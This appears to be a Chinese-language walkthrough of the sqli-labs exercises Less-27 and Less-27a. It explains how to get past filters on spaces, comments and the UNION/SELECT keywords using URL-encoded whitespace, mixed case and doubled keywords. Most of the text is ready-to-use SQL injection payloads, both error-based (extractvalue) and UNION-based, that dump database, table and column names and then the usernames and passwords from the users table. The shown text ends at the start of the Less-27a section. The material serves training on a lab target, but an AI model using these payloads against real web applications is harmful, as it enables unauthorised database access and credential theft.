目录
二、Less27(GET-Error based - All your UNION & SELECT belong to us-string single quote)
三、Less27a(GET-Blind based - All your UNION & SELECT belong to us Double quote )
推荐:
一、(手工)SQL注入基本步骤:
第一步:注入点测试
第二步:分析权限
第三步:判断字段数
第四步:爆数据库名
第五步:爆表名
第六步:爆字段名
第七步:爆数据
二、Less27(GET-Error based - All your UNION & SELECT belong to us-string single quote)
2.1、简介:(过滤-报错回显-单引号)
请求方法:GET
方法:过滤替换: /* , – , # , 空格 , /、union、select、UNION、SELECT、Union、Select+报错回显
2.2、第一步:注入点测试
输入?id=1
后面加上单引号发现报错了
说明是单引号闭合,即是字符型注入
且可利用报错回显
2.3、第二步:分析过滤
方法一:
考虑一步一步将注入语句字符一个一个替换掉,直到不报错(浪费时间)
或者全部替换(如果报错,不知道哪里被过滤了)
方法二:
获取源码进行白盒审计(最优)
方法三:eg:输入id=union(重要的都输进去)
看输入回显过滤语句的情况
最后可以知道被过滤的字符有
/* , – , # , 空格 , /,/s
union、select、UNION、SELECT、Union、Select
替代空格:
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格
空格换成 ||
注释被过滤掉了,就可以使用拼接进语句,将2侧进行闭合
union和select可以使用大小写混淆绕过,或者双写
2.4、第三步:判断字段数
2.5、第四步:暴库
?id=1'%26%26extractvalue(1, concat(0x7e, database()))%26%26'1
或者
?id=0'unIon%0BSelEcT%0B1,database(),3||'1
2.6、第五步:爆表名
?id=0'%0AunIon%0ASeLeCt%0A1,(SeLeCt%0Agroup_concat(table_name)%0Afrom%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'),3||'1
或者
?id=0'||extractvalue(1,concat(0x7e,(sEleCt(group_concat(table_name))from(information_schema.tables)where(table_schema)=database())))||'
2.7、第六步:爆字段
?id=0'%0buniOn%0bsElEct%0b1,(group_concat(column_name)),3%0bfrom%0binformation_schema.columns%0bwhere%0btable_schema='security'%0bAnd%0btable_name='users'%0b%26%26%0b'1'='1
或者
?id=1'||extractvalue(1,concat(0x7e,(sEleCt(group_concat(column_name))from(information_schema.columns)where(table_schema)=(database())and(table_name)='users')))||'
2.8、第七步:爆数据
?id=1'||extractvalue(1,concat(0x7e,(sEleCt(substr((group_concat(username,password)),1,32))from(users))))||'
或者
?id=0'/*%0a*/UnIoN/*%0a*/SeLeCt/*%0a*/1,(SeLeCt/*%0a*/group_concat(concat_ws('$',id,username,password))/*%0a*/from/*%0a*/users),3/*%0a*/||/*%0a*/'1'='1
三、Less27a(GET-Blind based - All your UNION & SELECT belong to us Double quote )
3.1、简介:(过滤-布尔盲注-双引号)
请求方法:GET
方法:过滤替换: /* , – , # , 空格 , /、union、select、UNION、SELECT、Union、Select+布尔盲注
3.2、特点:
双引号字符型注入,可以使用union联合注入
无错误回显(即不能报错注入updatexml函数等)
正确和错误页面不同,可以进行布尔盲注,因为他有无错误回显
也可延时盲注
3.3、利用过程:
基本上和Less26使用联合查询一样
进行布尔盲注(判断)
?id=0"unIon%0BSelEcT%0B1,database(),"3
……